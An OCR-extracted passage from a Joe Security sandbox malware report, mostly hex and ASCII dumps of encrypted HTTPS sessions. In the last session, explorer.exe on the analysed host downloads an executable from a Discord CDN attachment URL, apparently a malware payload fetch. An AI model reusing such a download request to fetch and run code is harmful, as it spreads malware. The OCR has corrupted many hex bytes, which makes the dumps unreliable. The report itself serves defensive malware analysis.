94 89 e8 36 90 df a8 €9 01 ac 07 6a d8 0d c3 4b d8 88 b9 3c 56 2d Ob 05 48 c5 d9 4a el 4a dc 01 0d 89 14 2b 03 b2 1c 75
a2 76 b6 3d 12 65 9f 42 28 a7 76 da 89 a3 ee fd 19 32 04 64 59 88 a9 a8 7b 64 59 8c 5e 40 cd 7c 2b ea 06 a6 28 e7 28 00
cle6 97 e4 9981 21 af e6 2c 00 7d 1c d9 dc 08 ab 17 02 c7 83 fe 9c 92 6b 99 8f 09 09 50 b1 23 b8 7b 17 8e a7 7c 52 6f
a5 f1 b2 6a f8 98 bd 2b b9 63 09 f3 30 4b 5¢ 7b 4b 5¢c
Data Ascii: /31[S:% ~sP" t"wC6J@hp kc=k0!="OH& dG(B+]6jK<V-HJJ+uv=eB(v2dY{dY*@|+((!,}kP#{|Roj+cOK\{K\

2021-11-18 09:30:32 UTC 2951 IN Data Raw: 67 Oe fd ff 30 1d 9f 56 f9 4c 5a c0 15 41 47 3f 73 bf 05 4d 86 da 93 82 eb e0 a5 eb 0f 62 8a 72 47 Oc 34 93 c2
1c 97 el 2b 41 07 42 15 ff c1 3a 9c 16 11 42 01 16 4e 49 21 Oc €0 ff 2a eb 21 8¢ 54 15 00 d7 7a 14 50 ee 6b e2 18 75 7f
dd 87 1e 62 00 9a d3 7b df da fc 9f 4f cf 52 66 53 81 da b6 91 3f €8 9a 2c 28 2c 62 3b 41 01 70 e2 d2 31 e7 3b be 3¢ 12
e8 7f fc 86 f2 €9 7e 38 b1 56 03 1f ed 2f e2 f6 Oe 78 2a 31 a3 49 21 56 9d f4 9a 46 00 31 eb 4d 6f ae fd 5d 26 18 0d be d4
58 0a 96 01 a0 75 Oe ef ba 08 16 80 85 40 2b 6¢ ec 79 a5 25 4b 9d d4 62 60 f7 01 86 11 29 aa 3e b2 08 ab c6 02 25 45 94
2e 7505 45 b3 cc c0 e7 01 81 38 2c 18 e2 f3 68 2e 85 64 88 c0 d3 81 d7 50 18 fd f3 09 02 d2 59 c¢3 73 9a c4 df 99 c4 45
00 a3 0f 56 59 fa 04 13 64 7b 01 f8 0a 1b 94 2a 6a
Data Ascii: gOVLZAG?sMbrG4+AB:BNI!*ITzPkub{ORfS?,(,b;Ap1;<~8V/x*1I!VF1Mo]&Xu@+ly%Kb)>%E.UE8,h.dPYSE
VYd{*j

2021-11-18 09:30:32 UTC 2967 IN Data Raw: 8a 20 d8 a8 60 d4 92 09 c6 90 4e 96 00 43 f6 1a ca e5 14 d5 65 b4 2d e5 6e 90 bec b2 53 74 7d 60 56 68 1f 69
70 4b 4f 5e dd 91 2a b2 5d 96 ae dd ca 7e f2 €3 d3 40 a5 55 68 be Oc 75 06 7f 5d 81 ed ba Of 4c 2d 23 02 5f 7e 01 e8 05
8407 5d ab b2 e7 97 bd 9f ad 3b e2 d1 a4 ee 2b 6e 6c c9 f4 9b 00 22 a6 74 81 e3 d7 ed ef 58 2f ab 07 7e 2c 85 78 c0 eb
0d 4d 2b 58 9d d6 69 40 d4 55 53 4e d4 ef 9e 32 4a ee ca 4c c0 7c 2f e4 ff e0 4b 57 bf 28 14 22 fa fe 9f d9 a5 4f a0 le be
2a 25 0a e2 ae 00 e0 71 9e 2f 91 40 df af 9f c0 62 c8 01 95 77 a9 4c 00 5a 47 8b ba b5 c4 6¢ 73 0d bd e2 f1 f9 27 69 de 1a
7a 76 50 5f c2 b2 5f 72 d4 21 b2 12 00 e3 e7 16 a5 8b 8c el 3e bd 90 c4 9e 53 22 16 2f 60 5a ec 2c 5¢ bc 4b 85 f8 Oc a2
be 18 50 8c 82 d5 3e c0 28 fe bf 9c 38 83 a4 Ob db
Data Ascii: "NCe-nSt} VhipKOM]~@Uhu]L+#_~];+nl"tX/~ xM+Xi@USN2JL|/KW("O*%q/@bwLZGls'izvP__r!>S"/"Z,\KP>(8

2021-11-18 09:30:32 UTC 2983 IN Data Raw: 0d 09 a6 d4 73 1f 15 13 6¢ 53 a3 b4 76 86 40 49 c7 3f 43 €5 Oc 0d 23 2f 1a 52 b5 94 95 21 fa 45 0a 95 ef ae 2f
5d 1c df 24 ¢1 a2 00 27 22 f3 e5 6b 64 10 00 ¢5 ed 39 07 56 d6 b5 8d cf 48 8 80 d4 1b 2¢ ba 95 01 9c 2d fb 11 1f 18 fc d8
77 ac 5¢ 54 3d 92 00 8b b8 1e 91 ee 43 7b a8 c0 19 81 fe 85 9e 82 92 ba 28 ¢7 34 c4 04 36 a3 56 84 18 bf 81 8e 9f d5 01
b2 13 8¢ 9c 76 9a 5¢ 2b 17 7f c6 29 aa d8 a8 7b 5f da d1 43 c4 b0 2f aa 07 b1 59 76 ¢8 bl 28 1f 49 04 fa dc ed 15 70 63
86 30 c7 cf b4 34 a3 b0 31 0 Oc 28 85 8b 51 aa 1b 13 33 42 84 4d b5 79 2b be 68 69 a5 56 c7 1e 8e b6 f0 13 49 16 22 30
12 d5 81 cd 1b a5 15 2 11 5¢ 68 51 01 ed 18 b0 17 f2 4a 48 fe 20 1e 4c be d4 05 7d 4d 72 40 ee a9 48 58 cb 2 al 14 2f
2b 0f dO 8f 68 fe 00 a5 2b al bd 8¢ a8 14 fb 37 f1
Data Ascii: SISV@I?CH#/RIE/$"kdIVH,- W\ T=C{(46VW\+){_C/Yv(Ipc041(Q3BMy+hiVI"O\hQIH LIMr@HX/+h+7

2021-11-18 09:30:32 UTC 2999 IN Data Raw: 09 69 10 76 38 5f 41 74 53 2b ee 21 18 df 5b 3f cb 1a 02 68 7f 60 Ob 16 7c 02 cd 22 f8 b9 ce 5e 48 76 Oc 63 9d
7d 1d 24 12 Oc ef cf dc 10 56 be 98 18 69 ae 0f 7e 59 29 7 0a ef 08 12 5e fb 8b 36 96 ca 5d 4e ee 75 7 ab 2f fc 4a cb 5e
96 bd e4 e0 51 b9 d7 00 93 bb 2f 81 c1 2d 6c 44 5f d0 e8 87 3 8b 94 b9 9e 90 e6 00 7 de 3b 1b 81 eb 86 00 4c ba 6d cl1
€304 51 68 0a be d7 d9 2b 9c 1c cb d8 4b 28 92 fb 3b d6 5f 02 f3 bb 53 68 4c d7 47 bb 00 57 4e e3 ff 64 8f 5b 05 88 27
ea 40 3e 83 29 81 b8 al 3e 17 08 f3 09 5a 22 d1 b7 44 2d 35 98 b3 b9 41 ec 20 79 4c 01 58 c8 c0 83 de 41 1b 00 b7 b8
ed 32 b9 70 2e 3c 70 a0 34 09 a3 b0 dO dc 85 66 el 8a df e7 7b Oe b2 6c 13 af a6 b3 b0 d8 8e fe 95 d4 ec f8 e9 80 49 73
e8 10 c7 6d 28 b9 76 fe 46 95 00 cc de 4b 08 ea dO cb
Data Ascii: iv8_AtS+![?h’["AHVC}$Vi~Y) 6]NU/IAQ/-ID_;LmQh+K(;_ShLGWN['@>)>Z"D-5A yLXA2p.<p4f{llsm(VFK

2021-11-18 09:30:32 UTC 3015 IN Data Raw: 24 86 44 cf 1c €9 42 42 b0 79 3¢ 29 05 cc 60 c2 ca 0d b4 7e 20 07 d6 26 Ob c4 82 12 1c bf €3 72 1c f4 24 21 83
d3 13 86 37 04 90 17 82 bc ec fa fc a8 8f e2 b0 03 92 01 9f a5 {7 c1 al 9a 6a 40 5a 8¢ 52 31 82 ec 01 7f 09 a3 8a 5f 47 21
7a 40 0f d1 45 9a 66 4b 88 4a 60 Oe dc cb b2 91 0 f5 6d a0 ca Of 59 56 26 7a 2f 95 ce 63 33 d8 €5 44 1a 9f 49 70 7f d8
89 13 09 b2 42 90 al d2 82 e4 da b4 18 a5 fd 6f be Oc Of df 38 59 00 61 21 cd 25 bf 33 8a d3 b5 94 b4 43 8f 2f 6a el 14 cc
7f 17 10 fd 04 c4 3¢ 36 ab ec fe a0 30 15 28 4a 91 e3 dd c6 7a 81 38 95 68 dd 04 18 ea 45 68 d6 b6 d0 13 51 ff 31 60 a9
70 02 Oc ce 02 44 c3 84 5a ba f4 b0 3f 01 af fd f4 cf 21 9a Of 3f bc 4e al 4c 43 c2 ff €5 3a 00 ae 81 a3 21 22 f6 03 14 57 63
76 79 4a 09 64 b4 8a fd 63 2a d3 39 Oa 8¢
Data Ascii: $DBBy<)'~ &1$!7j@ZR1_G!z@EfKJ mYV&z/c3DIpBo8Yal%3C/j<60(Jz8hEhQ1L pDZ?!?NLC:I"WevyJdc*9

2021-11-18 09:30:32 UTC 3031 IN Data Raw: 4e 52 be 29 8¢ 26 37 13 55 57 20 12 f5 d9 47 e0 59 b7 5e 59 d0 68 7d 13 2d 01 54 20 26 38 bf d2 46 51 4e 88
1368 09 la fa 3d 06 d5 3 36 82 64 8f a8 25 75 f1 89 e2 51 57 5f 96 1c bd d4 9d d2 5d f1 06 69 df 79 57 d2 77 ef 8b 20 9f
bf 65 6d 49 7e 39 5a df b4 26 83 d5 b7 08 a7 75 66 cc 09 €9 88 72 e2 a3 3a ce 6a af 61 b9 bb 56 6a 05 60 c3 8b ec 26 07
de ba 30 Oe d9 91 36 4c 2b c0 14 fd 5a dc 74 7b 97 f6 7a €3 04 2e Ob 18 29 4d ed Oc 62 11 4c 18 3a 89 ae 78 eb 50 95 d9
fc a5 68 a4 d6 56 c5 3d 53 be bf a0 06 d1 00 a7 a9 43 ed 1f 58 42 a3 9e 10 9c c0 cf 02 f8 e2 8b 8d f2 f2 bc 3d 1f 04 03 62
78 23 10 b4 1c c1 d7 43 40 a4 8e 56 f4 25 2a Oe e5 29 a2 e3 27 6e 20 12 5b fO ¢7 d2 Ob 8e 6b ff 15 a0 al le 41 ed 77 ff
1b 10 27 d6 40 8c 30 bd 80 Oc 19 01 21 b7 cf 14 24
Data Ascii: NR)&7UW GYAYh}-T &8FQNh=6d%uQW._]JiyWw emI~9Z&ufr:jaVj &06L+Zt{z.)MbL:xPhV=SCXB=bx#C@V%*)'
n [kAW'@0!$

2021-11-18 09:30:32 UTC 3047 IN Data Raw: 00 fe 94 3c a5 3e 16 64 6d 3f bl 6¢ 00 7c cd 53 ed 31 85 1f 60 3d 08 5d e3 1e c7 00 9f 0a 44 58 4c ad 72 a5 00
ch 16 a2 6a ed 8c 28 2a 00 e0 13 cc f8 8a f1 0d 43 09 09 b0 52 f0 00 96 fb 26 6b 77 00 a3 2a 7f ac 15 ee 63 3e 3c f5 d4 00
5c dd e6 72 d9 40 €9 00 ad 71 Oa e0 36 99 67 c8 00 8d cc 54 63 bb df 89 b3 00 f8 b6 88 cf 06 62 b1 d7 ea d5 78 9e 00 91
131594 12 f1 28 49 00 71 c1 f9 55 dc 4d 85 c0 01 8d 3a a6 be 41 el 21 f4 94 42 00 c4 8¢ 98 f8 eb 01 2c d6 00 13 47 1c
2d bf bb 57 5¢ 07 3c b1 3b 07 97 37 16 80 c0 83 a4 ca 79 92 Oe 6d c7 fO b3 ea f2 cd 00 f5 dd 44 24 e0 b7 3d 88 ae 1d cb
le c021 66 f3 6e 03 77 1c 91 8¢ 85 40 fd 9e fe f9 98 a2 e2 3b 00 ae 8d c6 55 b2 f0 44 29 07 35 7c 3a 59 7d 40 3f 5d ac 28
00 ba 04 f5 e3 0b 2b 87 71 1c 1d 7a a8 80 90 85
Data Ascii: <>dm?I|S1 =]DXLrj(*CR&kw*c><\r@q6gTcbx(IgUM:AIB,G-W\<;7ymD$=!fnw@;UD)5|:Y}@7?](+qz

2021-11-18 09:30:32 UTC 3063 IN Data Raw: d2 24 1c 9e 6d 5f 3a 00 ae Oc 58 26 40 dd 8c 00 ba ed 11 30 5c¢ 9f 63 66 00 ef 2c 69 bf 31 6e 2a 80 00 f8 7b 98
2b 87 13 49 24 00 68 0a 84 35 7a 59 da 30 00 cb eb cf a4 04 e8 57 7e 1f 13 55 cd 83 27 72 4d 50 €8 9a b8 c7 e4 24 00 26
a2 17 a9 f4 c8 af Ob 01 Of bl Oa 52 9c e5 a5 d4 87 02 00 09 5c ae 83 56 ad d7 c0 00 fO b4 de 48 ba 06 41 0d 00 a6 81 80
e9 cc b0 ¢3 31 00 c5 64 8a 8c eb 5b 9a 54 00 1a 78 63 ad e3 2e 68 ae 1d a6 b0 e5 c0 05 7d 79 08 ef 23 71 e7 00 8e d2
b7 42 d4 95 9d dc fb 7f b1 05 34 d3 c5 79 e0 28 Of ee 09 48 cf 24 00 14 85 86 €3 70 2a c6 00 11 93 ce 48 b0 51 7a 4a 00
a4 71 df 07 3b 64 2b 4c 00 41 09 da 1b d2 a9 5f 9e 00 5e 89 80 fe eb 72 5b Oc 39 df d8 00 2f 5a ¢7 97 52 45 be 90 c5 03
c0 d5 47 6a 42 a8 d8 1f f7 14 0f a5 19 85 10 a0 d3 f4 e7
Data Ascii: $m_:X&@0\cf,iln*{+1$h5zYO0W~U'rMP$&R\VHA1d[Txc.h}y#qB4y(H$p*HQzJq;d+LA_"r[9/ZREG|B
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kBytes
Timestamp

2021-11-18 09:30:32 UTC 3079

2021-11-18 09:30:32 UTC 3095

2021-11-18 09:30:32 UTC 3111

2021-11-18 09:30:32 UTC 3127

2021-11-18 09:30:32 UTC 3143

2021-11-18 09:30:32 UTC 3159

2021-11-18 09:30:32 UTC 3175

2021-11-18 09:30:32 UTC 3191

2021-11-18 09:30:32 UTC 3207

Session ID Source IP

2 192.168.2.7
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

transferred

Direction

IN

Source Port

49804

Direction

Data

Data Raw: 70 93 e5 4c 38 c0 Oc 3a c7 72 af 2e f7 94 64 38 54 a1 70 81 20 10 f9 18 b6 01 8a db fe 8e dc 95 45 d0 52 50
00 cc 73 15 8d 32 df 1a 8b 3c a3 08 00 ba 60 d5 05 70 95 6b 00 a2 a9 cb 64 23 45 cd 35 00 8b ba f3 6d ef 46 ec 4a f8 8e
00 07 20 6b 1b eb b3 25 d1 00 9c 5b 77 27 24 a7 83 15 03 cb 1e 95 18 78 ad f4 c0 dO Oc e2 6¢ 00 16 e6 6d f9 e3 af c2 d1
01 08 da 59 6a 11 3f 95 d4 3a d8 12 ee c9 fb 00 3b 34 89 97 dc d1 00 f6 dd 96 af c5 70 bf 93 01 1c 6a 24 e8 a0 c1 50 d9
3330 el e2 Oe 2c 1f 8e 70 c0 c0 4d 66 36 cf 00 fe 5e e5 a3 3a 3f ac 3b Oe e4 de 46 b1l ee 50 80 03 67 53 cd fO 00 dc f4 82
23 0a 8d 87 35 00 e4 9e a5 78 19 2a 16 85 00 ad 04 Ob 1d ac 31 83 bf 03 33 70 b0 80 6d d9 a8 62 98 9a 7a 43 07 2f bd 61
53 7c e0 08 51 87 8e 01 28 d7 f6 €9 6a ab a0 f8 42 dd

Data Ascii: pL8:r.d8Tp ERPs2<"pkd#E5mFJ k%[w'$xImY|?:;4pj$P30,pMf6":?;FPgS#5x*13pmbzC/aS|Q(jB

Data Raw: 78 b8 eb 00 64 9d 98 €0 e2 e8 ad 4e fa d0 3b df 96 03 51 ce al c2 82 90 6a 27 99 00 d6 45 7e f8 59 83 d0 33
Oe 12 9c 0f d1 45 08 14 f8 49 20 ca 02 2a e3 16 5 e5 ae d7 22 17 ad 8b 07 e4 70 ce db 42 58 75 1e 01 6b e8 Oc bd c7 6f
1c d0 d8 33 0029 76 64 71 67 b7 93 19 3a 16 0b 80 c0 ef 2¢ 34 35 1f c7 1c c2 1c 47 dc 76 c0 58 4d 4c 3c f3 ad 00 af f7 89
€490 21 bl al 1e 0d 3a 97 40 43 9f 68 1e 38 39 8 1b 04 9c c3 eb b5 2c 80 b8 30 74 37 00 66 ec 77 56 dd d9 fO 83 1c e8
90 42 92 62 00 f4 8e Of 64 4a c4 02 9f 76 65 45 86 bf 61 81 4c df df 70 df 05 2a 99 00 50 4e 14 af b1 b5 3c 8¢ 00 a4 Ob 3a
fd 35 be 81 ef Ob ea 99 d5 4f 00 22 1f 31 f9 b2 03 53 63 90 76 8d cb cO 7f c6 1d 00 32 2a aa f3 72 18 30 0a 00 8e 97 2b d2
87 52 40 62 58 b2 63 00 83 ed c1 5a 72 6d 74 00

Data Ascii: xdN;Qj'E~Y3EI *'pBXuko3)vdqg:,45GvXML<!:@Ch89,0t7fwVBbdJveEaLp*PN<:50"1Scv2*r0+R@bXcZrmt

Data Raw: e9 d7 fc 07 6f 6a 87 80 12 dO 5¢c c1 77 e4 00 3c 2d a7 1d e2 63 6f 32 00 7b ec 44 28 9e f5 c0 69 00 4e ea d6 31
52 d9 04 98 00 9a b8 70 19 16 eb 08 13 03 ca a4 ae e3 ef 4b dO 2f d6 d9 00 9c 20 45 e2 05 18 25 4e 09 93 c¢7 55 26 00 02
f1 fa 6f b3 Oe 43 60 a7 38 3d 40 8b c2 55 36 2e 6b 07 dc 2d ee 5e 78 85 7e ¢7 71 f3 03 Oc a8 30 a3 73 72 06 70 d3 13 c2
02 25 07 3e 4e 59 50 3f 75 7c b0 00 e5 9 ce c9 8f 65 3a c6 1d 9e 03 39 40 95 6d f6 bf 69 20 00 60 92 02 d6 26 a7 35 11
fc b0 7d 27 3f 5¢ 36 00 20 bf 83 6d c5 61 32 00 d8 68 bd ee 76 f5 86 d1 01 a7 78 b2 b5 45 5d 16 cc 36 1e 00 46 6b a3 11
42 4e 41 55 1d b4 d0 28 80 02 1f 7d a7 fe b5 00 7f 49 68 c5 30 f9 91 77 fa e8 1f 87 38 8b c1 5b cf aa 26 79 c0 56 9b 00 30
e4 97 f5 0d 78 89 e8 07 82 d1 58 9f c6 b0 ab 05 5a

Data Ascii: 0j\w<-co2{D(iN1RpK/ E%NU&0C 8=@U6.k-"x~q0srp%>NYP?ule:9@mi "&5}'?\6 ma2hvxE]6FkBNAU(}|h0
W8[&yVOxXZ

Data Raw: fc ff 93 aa a2 al 84 85 23 01 7c ff 6¢ fd ¢6 dd 30 0d 9b b1 80 a0 cd 80 57 8c 25 ee c7 d2 a8 30 8f fb 20 09 a3
Ob 64 99 14 96 90 a5 d5 c4 6d 38 4b 18 ad 47 11 a8 a8 17 9e b7 €9 d9 Oc 2e 79 39 al be 10 22 5a 37 62 28 bf a7 5d f1 79
0008 18 €9 21 e5 73 7d f9 32 85 76 28 b7 29 01 5b 8d 20 2e 5d 78 3e ac 4e 8b ce 23 46 bb 22 d8 53 bd 1d 00 09 6e 7f fa
1f 38 83 61 02 e8 fc a2 aa c3 Oe c0 e2 45 4a ee 18 00 23 2d fe b4 10 11 f9 b1 00 d4 1d 39 12 c0 Oc 95 5a 3b 98 49 80 7e
e5 b0 b8 14 38 ch 98 45 38 0d e4 80 51 5b a2 70 ac b4 d7 03 c5 d4 8a ed 59 78 90 fd 10 e6 00 5¢ 51 12 a5 40 04 bc 92
0053 45 37 18 d8 4c 34 17 03 7e 6a 0f Ob b5 94 c0 cd bf 1e 00 2f 95 74 87 46 ef 6e 6¢ 00 f7 ba 92 1b 55 b4 86 al 00 bf bd
74 €2 b2 97 1c 2c 1d ac 47 61 c1 2a 59 8b 28 84 dc 6b

Data Ascii: #|l0W%0 dm8KG.y9"Z7b(ly!s}2v()[ .Jx>N#F"Sn8aEJ#-9Z;|~8E8Q[pYX\Q@SE7L4~j/tFnlUt,Ga*Y (k

Data Raw: €0 7e 60 00 77 d4 27 4a 04 84 9a fe 16 68 de f5 01 6¢ 9c 43 9d 24 3b fO 30 7a 45 b3 c1 67 3 25 14 c9 dc 7d 00
26 fc 21 77 43 42 00 24 07 3b 35 66 3d b8 62 3f d2 76 a7 ab €9 2c 44 10 f5 18 19 67 86 40 4a c0 e2 77 c2 f2 7c e3 5e 35
fc ed 84 fe 6a 06 94 cc 14 Oc 1a 8d 88 fd 38 57 f4 c2 7a c5 60 fa 61 d5 7e 9f 15 1b f7 12 63 30 b8 41 8d 35 33 9e 09 24 22
ce bc 2¢ 20 7b 52 cb d5 a4 bf 12 fc 8f 5e ad bf 18 28 6b 28 {7 45 9d 06 ca f3 58 37 58 01 28 73 02 1d e8 53 73 10 39 43
40 80 d3 dc b1 86 0f 50 c4 c2 8c bc 65 66 64 a6 32 b9 32 5¢ 68 ¢8 de 3b a3 03 3f 08 €9 ca 7b c0 d7 53 e3 ba 7a 2c 18 bb
43 de 14 6d 79 c0 30 5e 80 0f 82 f6 31 fc d4 1a ef 6f bd 2e 94 83 eb Ob 10 14 e6 25 b4 ff b9 3d 5e 2f 32 12 3b 80 a8 20 96
69 9d b0 8d c0 2c cd 40 2c f8 e0 17 2f ec 2b Ob

Data Ascii: ~'w'JhIC$;0zEg%}&!'wCB$;5f=b?v,Dg@Jw|"5j8Wz a~c0A53$", {RNK(EX7X(sSs9C@Pefd22\h;?{Sz,Cmy
0710.%="12; i,@,/+

Data Raw: 59 88 2c f1 f4 00 a3 cf 35 71 31 db 94 89 ee aa 00 51 a9 05 6f c4 f6 al ac 00 dd ¢8 37 1b 9a 5¢ ab 35 07 e6 59
71 ce 29 32 62 66 5d 40 f0 53 fe 01 ff d5 02 a0 dO 90 b7 6f 91 d7 db e4 3b 44 d4 c1 4e fb 90 76 c4 3¢ 90 06 al a3 le fO c5
24 12 e7 72 e2 bb 28 a4 b4 ed 03 40 81 99 78 03 80 fa b5 60 90 a7 70 02 18 7c 0d a8 c9 31 c0 64 20 7f 00 80 57 a2 be 40
d7 bd e0 f8 cc 3f ef 90 80 42 3f 65 Oc 8d 4a 54 16 55 ae 21 bb cd 39 e5 d6 c4 d8 1b 84 el b8 a5 00 cc 1c ce 5d d1 de f5
5c fd 68 00 94 51 38 88 1f b8 65 00 3b 9c 5¢ 3c a7 4a 3f ca 00 e4 al b6 3d f5 c8 5a 43 00 a9 89 8b 1b 47 c5 9a ef 00 66
68 cf 6f 94 eb 67 f0 00 1a a9 87 15 32 5c ec 72 3e a4 f5 80 2b 90 42 46 Ob 8 ac 00 08 01 82 5d 3d 04 27 9d 00 f9 2¢ b0 6
14 1a c8 c2 00 05 8c 85 dc a0 45 92 58 00 f0 9a

Data Ascii: Y,501Q07\5Y()2bfl@S0;DNv<$r(@x p|1d W@?B?eJTU!9]\hQ8e;\<J?=ZCGfhog2\r>+BF]|=",EX

Data Raw: 2¢ ¢9 91 2a 00 2e de 51 04 ad 27 92 06 2e ed ca 9f 25 94 74 43 47 13 54 65 00 35 01 3e ad 84 79 01 cd 3 e4
8a 32 28 90 d4 d1 36 00 61 97 fb d3 fa 25 8e €9 02 12 06 a2 b9 89 ce 41 1f 7f 40 9c aa a8 92 01 4d 22 d8 8e 1e 28 a0 31
0418 7b 98 00 da fd 02 5a 3e e2 4e Oe 00 10 62 49 a6 7f 1d de d2 Ob 16 79 c2 5a 00 aa be 95 85 8f ee 04 00 al 40 a0 30
0b 7b fd 2 07 5e 47 20 09 1d f0 16 76 23 54 00 c5 d8 db 6d b2 ae 44 96 00 84 91 de df 78 f9 14 01 00 Oc 8f 30 ea a8 61
aa f6 00 e2 6e 7d cf fa 7c ae 98 00 40 d9 8 da a9 08 3a 15 03 d7 18 7a 3f 73 b0 1c fe 85 f6 00 28 53 27 82 99 4a a2 db 80
ca a4 71 c0 bl 00 56 36 6d 7e 84 a5 6b d8 00 aa cc 3e d6 1f 82 c1 27 03 4c al 8a 98 11 €8 c8 3a cf bb 07 29 73 86 ab5 45
a4 b7 c0 d8 0a 02 83 00 25 56 d9 15 b3 78 46 c7 00 a4

Data Ascii: ,*.Q".%tCGTe5>y2(6a%A@M"(1{Z>NblyZ@0{,"G v#TmDx0an}|@:2?s(SJqV6m~k>'L:)SE%VxXF

Data Raw: 0d 00 3d f7 67 98 68 b2 f8 8¢ 00 9f 4d c1 13 e2 a8 ¢5 23 1c 39 c6 dc 17 22 00 19 d5 46 01 6a ba 00 6d 21 c7 42
b9 b7 85 d9 7a el 00 31 87 ca b3 b0 5f 03 2f fc c8 00 a8 a4 16 4b 72 b8 36 32 3a ef bb 00 48 f9 e7 02 35 1c 5f 1e 95 6b
55 00 la a6 4e b4 Oa d1 00 8d 7d 28 58 59 cd 9a 47 1c 1d a5 75 80 26 b5 01 1c c8 a3 00 1b 08 7d 5f 25 dd 17 eb 00 6 3f
12 d3 85 8e ce 5d 00 ac d4 f2 2a d1 a4 cb 83 05 14 6d e5 d7 0d Of ff 05 40 94 27 b3 a6 3d 00 68 73 {7 9d 49 b0 9f e7 00
bc 82 f5 af 87 42 ef d6 00 1f 77 9a e2 c1 7e 02 26 04 fc 65 12 7d 2f b8 02 b1 76 52 Ob 90 1e a0 e0 c8 fa 8d 91 4f 03 d2 85
7a 05 7e 98 98 7c 5a 1f 55 1c 6d 80 36 65 9c 15 9a b8 00 44 5c a6 46 18 6e 25 ad 02 07 Ob 32 bc 47 ea 60 7f 6a ab 00 65
45 15 b5 54 f7 da dc 7d 34 78 bb 00 e3 9c 2a 5f 87

Data Ascii: =ghM#9"Fjm!Bz1_/Kr62:H5_KUN}XYGu&}_%?1*m@'=hsIBw~&e}/VROz~|ZUm6eD\Fn%2G jeET}4x*_

Data Raw: 19 bf 68 fd 10 29 1d 9a c8 39 80 23 6¢ 40 b7 b0 03 00 5a 3c 58 7e fe a2 35 6a 02 7d ae d8 ab 06 0f e0 78 92 f1
fa c2 01 5d 7c 28 4b 4d 4a 26 c0 30 d5 f2 21 70 f6 98 61 00 51 0Of 8b de b7 b5 f5 88 00 69 1e f4 8e 3d 75 bc ¢3 00 1a 14 d8
52 d1 72 ae 01 00 db 65 16 ca b0 3f83 06 00 c4 13 9b 3a 6d c7 9c 78 07 ed ea Of a2 39 40 c1 de Oa 7c 13 1b Oe fc 07 c7
68 64 d0 66 57 c8 ce f4 16 00 43 1c 6f Of 0d 48 7e ad 00 c4 4b 60 2d 20 Oe 55 83 12 75 6a 72 1le 7d 87 c1 78 a6 d0 d7 16
d1 89 00 f5 29 53 2e cc d6 9c 5e 00 4e c4 01 32 3e de d7 ab 3d 70 c3 f0 00 ef 43 fc 17 8f e2 fb 09 Of 47 4c da 65 ce 50 80
1341 8c 4912 00 1b 8598 ee d7 48 a6 6¢ 04 c4 db 95 d2 79 ae 00 00 a2 03 42 b0 ¢6 00 13 cb de c7 96 27 81 ad 00 ab
a8 23 5b 86 9b 0d 53 00 33 3f aa 28 e4 1e d5 a4 00

Data Ascii: h)9#l@Z<X~5j}x]|(KMJ&0!paQi=uRre?:mx9@ |hdfWCoH~K"- Uujr}x)S.AN2>=pCGLePAIHIyB#[S3?(

Destination IP Destination Port Process

162.159.130.233 443 C:\Windows\explorer.exe

Data
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kBytes
Timestamp transferred

2021-11-18 09:30:37 UTC 3222

2021-11-18 09:30:37 UTC 3222

2021-11-18 09:30:37 UTC 3224

2021-11-18 09:30:37 UTC 3224

2021-11-18 09:30:37 UTC 3225

2021-11-18 09:30:37 UTC 3227

2021-11-18 09:30:37 UTC 3228

2021-11-18 09:30:37 UTC 3229

Copyright Joe Security LLC 2021

Direction

ouT

Data

GET /attachments/907388240229716010/909788097527545866/45756734124235.exe HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 18 Nov 2021 09:30:37 GMT

Content-Type: application/x-msdos-program

Content-Length: 106720

Connection: close

CF-Ray: 6b002e62d94e5c02-FRA

Accept-Ranges: bytes

Age: 245243

Cache-Control: public, max-age=31536000

Content-Disposition: attachment;%20filename=45756734124235.exe

ETag: "d9cafab0a71211867a38ece40d63c5b8"

Expires: Fri, 18 Nov 2022 09:30:37 GMT

Last-Modified: Mon, 15 Nov 2021 12:53:05 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1636980785529378

X-goog-hash: crc32c=eouslw==

x-goog-hash: md5=2cr6sKcSEYZ600zkDWPFuA==

X-g00g-metageneration: 1

X-goog-storage-class: STANDARD

x-goog-stored-content-encoding: identity

x-goog-stored-content-length: 106720

X-GUploader-UploadID: ADPycdtJSC-JZ-drsTSwBXWvp3408s0wi5DL_g3-zXhclv6N6EHyD3phtjROTDfRxysiKFkALulGH4
_BxmiahKzBCzQ

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6 69 6e 74 73 22 3a 5b 7b 22 75 72 6¢c 22 3a 22 68 74 74
70 73 3a 5¢ 2f 5¢ 2f 61 2e 6e 65 6¢ 2e 63 6¢ 6f 75 64 66 6¢ 61 72 65 2e 63 6f 6d 5¢ 2f 72 65 70 6f 72 74 5¢ 2f 76 33 3f 73
3d 39 6e 6a 36 79 46 4a 4a 58 79 55 64 6e 43 39 56 4d 68 61 59 49 56 79 30 46 72 36 34 47 69 41 67 73 69 63 44 41 63
3162 72 58 5a 64 6f 6f 61 4c 38 66 35 74 51 53 44 57 30 4a 47 43 6d 67 48 43 4f 54 31 4f 76 37 75 77 49 47 68 54 52 46
5a 34 46 6d 50 46 4e 31 75 70 74 4d 69 46 56 6b 50 72 37 49 65 61 66 76 6e 58 6¢ 6d 63 31 34 5a 77 6f 5a 59 49 63 6e
53 44 6f 52 38 37 73 31 51 50 34 79 34 35 77 32 77 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e
65 6¢ 22 2¢ 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30

Data Ascii: Report-To: {"endpoints":[{"url":"https:\/Va.nel.cloudflare.comVreport\/\v3?s=9nj6yFJIXyUdnC9VMhaYIVyOFr64Gi
AgsicDAc1brxXZdooal 8f5tQSDW0JGCmgHCOT10v7uwlGhTRFZ4FmPFN1uptMiFVkPr7leafvnXimc14ZwoZYlcnSDo
R87s1QP4y45w2w%3D%3D"}],"group":"cf-nel”,"max_age":604800

